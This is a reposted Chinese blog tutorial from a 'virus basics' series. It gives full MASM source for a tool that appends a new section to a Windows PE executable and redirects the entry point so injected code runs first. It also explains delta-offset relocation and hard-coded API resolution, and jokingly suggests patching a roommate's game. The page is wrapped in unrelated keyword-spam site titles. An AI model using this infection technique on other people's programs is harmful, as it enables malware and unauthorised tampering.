青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

牽著老婆滿街逛

嚴以律己,寬以待人. 三思而后行.
GMail/GTalk: yanglinbo#google.com;
MSN/Email: tx7do#yahoo.com.cn;
QQ: 3 0 3 3 9 6 9 2 0 .

為PE文件添加新節(jié)顯示啟動信息

?

下載本節(jié)例子程序和源代碼 (7.66 KB)

病毒并不神秘,也不復(fù)雜。相當(dāng)多的大俠已經(jīng)在這方面作出了杰出的貢獻,例如 29A 組織,我對他們的崇拜之情啊,真是……咳咳,先別扔雞蛋。其實我想說的是:技術(shù)是一柄雙刃劍,我們應(yīng)該把它運用在對社會有益的事情上。所以請勿利用本文的代碼進行違法違紀的活動,否則本人保留追究的權(quán)利。

本文的技術(shù)其實早已是老掉牙的東西了,so如果你已經(jīng)懂得了編寫病毒的方法,請?zhí)^本文;如果你對病毒抱有好奇心,但是還沒知道怎么編寫,那么本文應(yīng)該適合你。??:)

言歸正傳。在 Windows 環(huán)境下,所有的可執(zhí)行文件都是 PE 格式,因此編寫病毒最重要的環(huán)節(jié)之一就是對 PE 文件進行操作。但是在此我不打算對 PE 格式進行講解,請讀者自行參考有關(guān)資料。我只對我在實際編寫中遇到的難點進行分析:

首先,計算機病毒之所以叫做病毒,是因為它跟自然界中病毒一樣,都需要有一個宿主——它本身是無法單獨執(zhí)行的。那么,當(dāng)病毒寄生在宿主上后,怎樣讓它的代碼執(zhí)行呢?我們先來看一些概念。

PE 的代碼映象分為幾個 SECTION,在文件中會對齊頁邊界(4K)。一般來說,文件會加載在 400000h 開始的空間,而第一個 SECTION 在 401000h 處,同時入口地址也是 401000h。這個入口地址 401000h 是怎么計算出來的呢?如果你查看 PE 頭的 IMAGE_OPTIONAL_HEADER ,就會發(fā)現(xiàn)它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了這一點,我們就可以在 PE 中添加我們自己的新節(jié),然后把這個入口地址改成指向新節(jié)的第一條代碼。當(dāng)新節(jié)執(zhí)行完畢后,再把原入口恢復(fù),這樣一來就能繼續(xù)執(zhí)行宿主的代碼了。

在幾乎每個 Win32 病毒的開頭都有這樣的語句:

????call nStart
nStart:
????popebp
????subebp,offset nStart

這些語句是用來干嘛的呢?好像是吃飽了飯沒事干哦……其實不然。讓我們來仔細考慮一下。當(dāng)正常的 PE 程序執(zhí)行時,它的基址(如前所述)一般是 400000h ,這個地址會由操作系統(tǒng)為你重定位,因此總是能保證程序被成功地裝載運行。但是,如果我們在 PE 中插入了一段新的代碼,假設(shè)它要從 654321h 處開始執(zhí)行,那么事情就沒有那么簡單了。因為宿主程序并沒有預(yù)料到這段代碼的存在,而操作系統(tǒng)也不可能為你修正這個偏移。因此我們就要自己進行重定位操作。上面的語句就是取得病毒在宿主中的實際偏移地址。Call 指令實際上是 push 和 jmp 的組合。當(dāng) call nStart 時,實際上是把 call nStart 的下一條指令(也就是pop ebp)的地址壓入堆棧然后 jmp 到 nStart ,由于之前已經(jīng)把 pop ebp 的地址壓入了堆棧,所以當(dāng)真正執(zhí)行到 pop ebp 這條指令的時候,實際上就是把 pop ebp 這條指令的地址放到了 ebp 中。這樣就得到了當(dāng)前病毒代碼的真正的偏移地址。這也是病毒中常用的手法。幾乎無一例外。

接下來還有一個關(guān)鍵的問題。我們的病毒代碼是附屬在宿主上的,如果要在病毒中使用 API ,則必須首先得到 API 的入口地址。不過這可不是一件容易的事情啊。為什么這樣說呢?讓我們先來看看下面的代碼:

invoke ExitProcess,0

在經(jīng)過編譯器的編譯、連接后,它在內(nèi)存中形如:

:00401015????Call0040101A
:0040101A????Jmpdwordptr[00402000]

也就是說,ExitProcess 的調(diào)用是通過 Call 0040101A ,而 0040101A 處的代碼是一個 Jmp ,指向 [00402000] ,這個 [00402000] 處儲存的才是真正的 ExitProcess 的入口地址。

為什么要經(jīng)過那么多周折呢?呵呵,其實我也不知道。但是我們知道的是,調(diào)用一個 API 實際上是調(diào)用它在內(nèi)存中的地址。而病毒由于是在宿主編譯完之后才附屬上去的,所以如果病毒要運行 API ,則必須自己指定 API 的入口地址。

是不是很煩呢?Hoho,堅持一下吧,就快大功告成了。

要得到 API 的入口地址,方法有很多種,例如可以通過硬編碼,這是比較簡單的方法,但是它的缺陷是不能在不同的 Windows 版本下運行,不過由于它實現(xiàn)起來比較簡便,因此本文還是采用這種方法。

在同一個版本的 Windows 下,同一個核心函數(shù)的入口總是固定不變的(指由 Kernel32, Gdi32, User32 導(dǎo)出的函數(shù)),所以我們就可以利用下面的方法得到 API 的入口:

szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0
MessageBoxA_Addr dd????0

invoke GetModuleHandle,addr szDllName
invoke LoadLibrary,addr szDllName
invoke GetProcAddress,eax,addr szMessageBoxA
mov MessageBoxA_Addr,eax

在病毒中我們就可以用 Call MessageBoxA_Addr[ebp] 來執(zhí)行 MessageBoxA 這個 API 了。

好啦,我已經(jīng)把我認為比較重要的難點解釋了一次了,如果你還有什么不清楚的地方,歡迎給我來信。lcother at 163 dot net

下面我給出了一個例子程序,它的作用是為 PE 文件添加一個新節(jié)以顯示啟動信息。這個東東會在 PE 文件的末尾添加一個新節(jié),我給這個節(jié)命名為“.LC”,被附加的程序在運行的時候會先彈出一個對話框,顯示我們的提示信息。你可以對它稍作修改,例如加上自己的版權(quán)信息,然后給 CS 的主程序打上這個“病毒”,接著……呵呵,等著看舍友的驚訝的目光吧!實際上只要對它進行一些額外的補充,它就可以算是一個小小的病毒了。

值得注意的是,本程序要對代碼段進行寫操作(也就是SMC),所以在編譯連接的時候應(yīng)該這樣做:

rc Add_Section.rc
ml /c /coff Add_Section.asm
link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj

Have fun!

;***********************************************
;程序名稱:為PE文件添加新節(jié)顯示啟動信息
;作者:羅聰
;日期:2002-11-10
;出處:http://www.luocong.com(老羅的繽紛天地)
;本代碼使用了病毒技術(shù),但純粹只用于技術(shù)研究。
;切記:請勿用于非法用途!!!!!!
;注意事項:如欲轉(zhuǎn)載,請保持本程序的完整,并注明:
;轉(zhuǎn)載自“老羅的繽紛天地”(http://www.luocong.com)
;***********************************************

.386
.modelflat,stdcall
optioncasemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib

WndProc??????????proto:DWORD,:DWORD,:DWORD,:DWORD
AddNewSection????proto:DWORD

;很有用的宏:
CTEXT????MACRO y:VARARG
????LOCAL sym
????CONSTsegment
????ifidni<y>,<>????????????
????????sym db0????????
????else????????????
????????sym db y,0
????endif
????CONSTends
????exitm<offset sym>
ENDM

.const
IDI_LC?????????? equ????1
IDC_BUTTON_OPEN??equ????3000
MAXSIZE??????????equ????260
Head_Len???????? equ????sizeof IMAGE_NT_HEADERS +sizeof IMAGE_SECTION_HEADER

.data
szDlgName????????db????"lc_dialog",0
szCaption????????db????"Section Add demo by LC",0
ofn??????????????OPENFILENAME????<>
szFileName?????? db????MAXSIZE dup(0)
szFilterString?? db????"PE 可執(zhí)行文件",0,"*.exe",0,0
szMyTitle????????db????"請打開一個PE可執(zhí)行文件…",0
PE_Header????????IMAGE_NT_HEADERS????<0>
My_Section?????? IMAGE_SECTION_HEADER????<>
szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0

.data?
hInstance????????HINSTANCE?????

.code
main:
????invoke GetModuleHandle, NULL
????mov hInstance,eax
????invoke DialogBoxParam,eax,offset szDlgName,0, WndProc,0
????invoke ExitProcess,eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

????.if uMsg == WM_CLOSE
????????invoke EndDialog, hWnd,0

????.elseif????uMsg == WM_INITDIALOG
????????;設(shè)置我的圖標(biāo):
????????invoke LoadIcon, hInstance, IDI_LC
????????invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL,eax

????.elseif uMsg == WM_COMMAND
????????moveax, wParam
????????movedx,eax
????????shredx,16
????????movzxeax,ax
????????.ifedx== BN_CLICKED
????????????.ifeax== IDCANCEL
????????????????invoke EndDialog, hWnd, NULL
????????????.elseifeax== IDC_BUTTON_OPEN ||eax== IDOK
????????????????;調(diào)用子程序,添加節(jié):
????????????????invoke AddNewSection, hWnd
????????????.endif
????????.endif
????.else
????????moveax, FALSE
????????ret
????.endif
????moveax, TRUE
????ret
WndProc endp

AddNewSection procusesecx hWnd:HWND
????LOCAL hFile: HANDLE
????LOCAL dwPE_Header_OffSet:DWORD
????LOCAL dwFileReadWritten:DWORD
????LOCAL dwMySectionOffSet:DWORD
????LOCAL dwLastSection_SizeOfRawData:DWORD
????LOCAL dwLastSection_PointerToRawData:DWORD

????;“打開文件”對話框:
????mov ofn.lStructSize,sizeof ofn
????push hWnd
????pop ofn.hwndOwner
????push hInstance
????pop ofn.hInstance
????mov ofn.lpstrFilter,offset szFilterString
????mov ofn.lpstrFile,offset szFileName
????mov ofn.nMaxFile, MAXSIZE
????mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER
????mov ofn.lpstrTitle,offset szMyTitle
????invoke GetOpenFileName,addr ofn

????;如果沒有選擇文件名則退出:
????.ifeax==0
????????jmp Err_CreateFile_Exit
????.endif

????;打開文件:
????invoke CreateFile,addr szFileName, GENERIC_READ or GENERIC_WRITE,\
????????????FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
????.ifeax== INVALID_HANDLE_VALUE
????????invoke MessageBox, hWnd, CTEXT("打開文件失敗!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmp Err_CreateFile_Exit
????.endif
????mov hFile,eax

????;****************************************
????;讀取PE文件頭:
????;****************************************
????invoke SetFilePointer, hFile,3ch,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwPE_Header_OffSet,4,addr dwFileReadWritten, NULL
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke ReadFile, hFile,addr PE_Header, Head_Len,addr dwFileReadWritten, NULL

????;****************************************
????;判斷是否有效的PE文件,是的話才繼續(xù):
????;****************************************
????.if[PE_Header.Signature]!= IMAGE_NT_SIGNATURE
????????;如果不是有效的PE文件,就給出提示:
????????invoke MessageBox, hWnd, CTEXT("這不是一個有效的Win32 PE文件!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;判斷是否有足夠空間存儲新節(jié):
????;****************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]????;得到添加新節(jié)前有多少個節(jié):
????movecx,28h????;28h = sizeof IMAGE_SECTION_HEADER
????mulecx???????? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax, dwPE_Header_OffSet????;eax = eax + PE文件頭偏移
????addeax,18h????;18h = sizeof IMAGE_FILE_HEADER
????movzxecx,[PE_Header.FileHeader.SizeOfOptionalHeader]
????addeax,ecx????;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
????addeax,28h????;添加一個新節(jié)的大小
????.ifeax>[PE_Header.OptionalHeader.SizeOfHeaders]
????????;不夠的話給出提示:
????????invoke MessageBox, NULL, CTEXT("沒有足夠的空間來加入一個新節(jié)!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;保存原入口,后面要用到:
????;****************************************
????moveax,[PE_Header.OptionalHeader.AddressOfEntryPoint]
????mov Old_AddressOfEntryPoint,eax
????moveax,[PE_Header.OptionalHeader.ImageBase]
????mov Old_ImageBase,eax

????;**************************************************
????;計算新節(jié)的偏移地址:
????;(其實跟上面的“判斷是否有足夠空間存儲新節(jié)”基本上一樣)
????;**************************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]
????movecx,28h
????mulecx????????????;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax,4h????????;4h = sizeof "PE\0\0"
????addeax, dwPE_Header_OffSet
????addeax,sizeof IMAGE_FILE_HEADER
????addeax,sizeof IMAGE_OPTIONAL_HEADER
????mov dwMySectionOffSet,eax????;現(xiàn)在得到了我們的新節(jié)的偏移地址

????;****************************************
????;填充我們自己的節(jié)的信息:
????;(這部分請查看PE格式,很容易明白,不多說了)
????;****************************************
????movdwordptr[My_Section.Name1],"CL."????;名字就叫做“.LC”吧,呵呵……
????mov[My_Section.Misc.VirtualSize],offset vEnd -offset vStart
????push[PE_Header.OptionalHeader.SizeOfImage]
????pop[My_Section.VirtualAddress]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.FileAlignment]
????cdq
????divecx
????inceax
????mulecx
????mov[My_Section.SizeOfRawData],eax??;SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數(shù)倍的值
????moveax, dwMySectionOffSet
????subeax,18h????;這個偏移是定位到最后一節(jié)的“SizeOfRawData”
????invoke SetFilePointer, hFile,eax,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwLastSection_SizeOfRawData,4,addr dwFileReadWritten, NULL
????invoke ReadFile, hFile,addr dwLastSection_PointerToRawData,4,addr dwFileReadWritten, NULL
????;每個節(jié)的 PointerToRawData 等于它的上一節(jié)的 SizeOfRawData + PointerToRawData:
????moveax, dwLastSection_SizeOfRawData
????addeax, dwLastSection_PointerToRawData
????mov[My_Section.PointerToRawData],eax
????mov[My_Section.PointerToRelocations],0h
????mov[My_Section.PointerToLinenumbers],0h
????mov[My_Section.NumberOfRelocations],0h
????mov[My_Section.NumberOfLinenumbers],0h
????mov[My_Section.Characteristics],0E0000020h????;可讀可寫可執(zhí)行

????;**************************************************
????;重新寫入IMAGE_SECTION_HEADER:(包含了新節(jié)的信息)
????;**************************************************
????invoke SetFilePointer, hFile, dwMySectionOffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr My_Section,sizeof IMAGE_SECTION_HEADER,addr dwFileReadWritten, NULL

????;****************************************
????;得到 MessageBoxA 的線性地址:
????;****************************************
????invoke GetModuleHandle,addr szDllName
????invoke LoadLibrary,addr szDllName
????invoke GetProcAddress,eax,addr szMessageBoxA
????mov MessageBoxA_Addr,eax

????;****************************************
????;在文件的最后寫入我們的新節(jié):
????;****************************************
????invoke SetFilePointer, hFile,0,0, FILE_END
????push0
????leaeax, dwFileReadWritten
????pusheax
????push[My_Section.SizeOfRawData]
????leaeax, vStart
????pusheax
????push hFile
????call WriteFile

????;**************************************************
????;改寫IMAGE_NT_HEADERS,使新節(jié)可以首先執(zhí)行:
????;(需要改寫 SizeOfImage 和 AddressOfEntryPoint)
????;**************************************************
????inc[PE_Header.FileHeader.NumberOfSections]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.SectionAlignment]
????cdq
????divecx
????inceax
????mulecx
????addeax,[PE_Header.OptionalHeader.SizeOfImage]
????mov[PE_Header.OptionalHeader.SizeOfImage],eax????;SizeOfImage是一個對齊到SectionAlignment的整數(shù)倍的值
????moveax,[My_Section.VirtualAddress]
????mov[PE_Header.OptionalHeader.AddressOfEntryPoint],eax;現(xiàn)在的 AddressOfEntryPoint 是指向新節(jié)的第一條指令
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr PE_Header,sizeof IMAGE_NT_HEADERS,addr dwFileReadWritten, NULL

????;****************************************
????;完成!顯示成功信息:
????;****************************************
????invoke MessageBox, hWnd, CTEXT("添加新節(jié)成功!"),addr szCaption, MB_OK or MB_ICONINFORMATION

Exit:
????;關(guān)閉文件:
????invoke CloseHandle, hFile
Err_CreateFile_Exit:
????ret
AddNewSection endp

;****************************************
;呵呵,我們自己的東東:(像不像病毒?)
;****************************************
vStart:
????call nStart
nStart:
????popebp
????subebp,offset nStart????;得到新節(jié)在文件中的實際偏移地址

????;顯示對話框:
????push MB_OK or MB_ICONINFORMATION
????leaeax, szMyCaption[ebp]
????pusheax
????leaeax, szMyMsg[ebp]
????pusheax
????push0
????call MessageBoxA_Addr[ebp]

????;恢復(fù)原入口地址。當(dāng)這個節(jié)執(zhí)行完畢后,就回到了原來的文件入口處繼續(xù)執(zhí)行:
????moveax, Old_ImageBase[ebp]
????addeax, Old_AddressOfEntryPoint[ebp]
????pusheax
????ret

????;變量定義:
????MessageBoxA_Addr????????dd????0
????szMyMsg???????????????? db????"為PE文件添加新節(jié)顯示啟動信息",13,10,13,10,\
??????????????????????????????????"老羅的繽紛天地",13,10,"http://www.LuoCong.com",0
????szMyCaption???????????? db????"老羅的病毒基礎(chǔ)教程系列 by LC",0
????Old_ImageBase?????????? dd????0
????Old_AddressOfEntryPoint dd????0
vEnd:

end main
;********************????over????********************
;by LC


它的資源文件:

#include "resource.h"

#define IDC_STATIC????????-1
#define IDI_LC????????????1
#define IDC_BUTTON_OPEN?? 3000

IDI_LC????ICON????"lc.ico"

LC_DIALOG DIALOGEX 10, 10, 195, 115
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Section Add demo by LC, 2002-11-10"
FONT 9, "宋體", 0, 0, 0x0
BEGIN
????GROUPBOX???????? "Info", IDC_STATIC, 5, 5, 185, 75
????CTEXT????????????"- 為PE文件添加新節(jié)顯示啟動信息 -", IDC_STATIC, 10, 20, 175, 10
????CTEXT????????????"-= Virus Tutorial Series =-", IDC_STATIC, 10, 30, 175, 10
????CTEXT????????????"老羅的繽紛天地", IDC_STATIC, 10, 50, 175, 10
????CTEXT????????????"www.LuoCong.com", IDC_STATIC, 10, 60, 175, 10
????DEFPUSHBUTTON????"打開文件(&O)",IDC_BUTTON_OPEN, 70, 90, 55, 15, BS_FLAT | BS_CENTER
END

老羅
2002-11-10

posted on 2006-05-08 17:48 楊粼波 閱讀(420) 評論(0)  編輯 收藏 引用 所屬分類: 文章收藏

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美日韩国产系列| 国产精品久久久久久户外露出 | 一区二区黄色| 国产精品毛片a∨一区二区三区|国| 久久xxxx| 麻豆精品一区二区综合av| 久久精品中文字幕免费mv| 亚洲精品极品| 亚洲日本欧美| 亚洲破处大片| 亚洲在线视频观看| 亚洲自拍另类| 老司机67194精品线观看| 欧美一区二区视频在线观看2020 | 欧美日韩一区精品| 国产美女精品免费电影| 亚洲美女毛片| 亚洲福利视频网站| 欧美专区亚洲专区| 国模私拍视频一区| 免费观看亚洲视频大全| 欧美视频一区| 亚洲无线视频| 亚洲一区二区高清视频| 国产日韩亚洲欧美| 久久久天天操| 女人香蕉久久**毛片精品| 99国产精品久久久久老师 | 狠狠色狠狠色综合日日tαg| 日韩视频一区二区| 老司机精品视频一区二区三区| 亚洲午夜一区二区三区| 狠狠色综合色综合网络| 国产精品专区一| 一区二区三区免费观看| 欧美成人日本| 久久久精品动漫| 国产日韩精品入口| 亚洲综合第一| 亚洲开发第一视频在线播放| 欧美激情精品久久久久久蜜臀| 欧美在线999| 欧美日韩一区不卡| 另类专区欧美制服同性| 久久久久国产精品午夜一区| 尤妮丝一区二区裸体视频| 午夜欧美不卡精品aaaaa| 国产一区 二区 三区一级| 亚洲婷婷综合色高清在线| 香蕉久久精品日日躁夜夜躁| 亚洲成人在线视频播放| 99国内精品久久| 国产伦精品一区二区三区免费迷| 最新中文字幕亚洲| 午夜精品福利一区二区蜜股av| 国产午夜精品视频免费不卡69堂| 亚洲欧美在线免费观看| 久久久久国产精品人| 亚洲日本欧美天堂| 国产精品99久久久久久久vr| 国产一区二区| 亚洲欧洲日本国产| 欧美亚一区二区| 欧美剧在线免费观看网站| 亚洲午夜国产一区99re久久| 欧美一区二区三区视频| 日韩视频免费观看高清完整版| 国内精品久久久| 亚洲肉体裸体xxxx137| 午夜影院日韩| 亚洲另类在线一区| 亚洲美女网站| 国产一本一道久久香蕉| 久久夜色精品亚洲噜噜国产mv | 亚洲国产成人av好男人在线观看| 久久精品国产清高在天天线| 欧美大片在线看免费观看| 欧美激情一区二区在线| 久久一区二区三区四区| 欧美亚洲日本国产| 国产日韩欧美三区| 久久精品夜夜夜夜久久| 亚洲黄色片网站| 国产在线国偷精品产拍免费yy| 亚洲免费av电影| 亚洲视屏在线播放| 国产亚洲一区在线播放| 老牛影视一区二区三区| 最新国产精品拍自在线播放| 亚洲在线观看视频| 韩日成人在线| 欧美日韩亚洲一区二区三区在线观看 | 亚洲激情亚洲| 亚洲免费在线精品一区| 国产精品都在这里| 亚洲欧美一区二区三区在线| 99热精品在线观看| 久久久久高清| 亚洲国产精品小视频| 亚洲第一黄色网| 尤物精品国产第一福利三区| 欧美成在线视频| 欧美成人免费网站| 欧美日韩一二区| 欧美日韩视频在线观看一区二区三区| 久久精品人人做人人爽| 在线午夜精品自拍| 亚洲欧美美女| 久久久久国产精品一区三寸| 欧美一区二区三区视频在线| 先锋影音久久久| 久久久久久久999精品视频| 久久男女视频| 欧美日韩一区二区在线观看视频| 欧美三级网页| 在线不卡视频| 亚洲影院免费| 久久久免费av| 亚洲毛片视频| 亚洲啪啪91| 欧美中文在线字幕| 欧美va天堂| 欧美国产欧美亚州国产日韩mv天天看完整| 香蕉精品999视频一区二区| 伊甸园精品99久久久久久| 国产乱码精品一区二区三区五月婷| 欧美视频在线观看| 欧美日韩免费在线| 国产精品视频福利| 国产在线麻豆精品观看| 国产一区二区三区的电影 | 老鸭窝毛片一区二区三区| 欧美一区视频在线| 久久久久久久999精品视频| 欧美在线精品免播放器视频| aa日韩免费精品视频一| 日韩视频一区二区三区在线播放免费观看| 在线观看91精品国产麻豆| 亚洲综合不卡| 欧美成人小视频| 欧美日韩成人综合| 欧美日韩中文字幕综合视频 | 亚洲一区二区三区在线视频| 亚洲欧美一区二区原创| 欧美精品性视频| 亚洲成色最大综合在线| 亚洲一区在线观看免费观看电影高清| 毛片av中文字幕一区二区| 亚洲天堂av在线免费| 欧美成人a∨高清免费观看| 老司机午夜精品视频在线观看| 久久av资源网站| 午夜精品一区二区三区电影天堂 | 在线亚洲电影| 久久精品亚洲| 欧美 日韩 国产 一区| 亚洲午夜成aⅴ人片| 麻豆精品视频在线| 国产在线观看一区| 在线观看欧美| 久久精品视频在线| 亚洲日本理论电影| 久热re这里精品视频在线6| 欧美电影资源| 亚洲精品国产精品乱码不99按摩| 欧美一区二区三区四区视频| 老牛嫩草一区二区三区日本| 久久这里有精品视频| 99国产精品99久久久久久粉嫩| 欧美亚洲视频| 亚洲一级高清| 欧美激情91| 国产亚洲一区二区三区| 亚洲黄色三级| 免费日韩精品中文字幕视频在线| 久久婷婷久久| 亚洲春色另类小说| 一区二区三区视频在线| 1024欧美极品| 国产精品久久久久一区二区三区共 | 久久精品国产一区二区三| 久久综合伊人77777尤物| 亚洲自拍另类| 一区二区日韩| 蜜臀av在线播放一区二区三区| 玖玖综合伊人| 国产专区精品视频| 久久露脸国产精品| 亚洲激情在线观看视频免费| 亚洲精品资源| 国产欧美日韩亚洲| 欧美日韩日日骚| 欧美性生交xxxxx久久久| 亚洲欧美成人综合| 日韩视频免费看| 99re8这里有精品热视频免费 | 亚洲一区二区成人| 欧美在线视频观看| 激情一区二区三区| 噜噜爱69成人精品|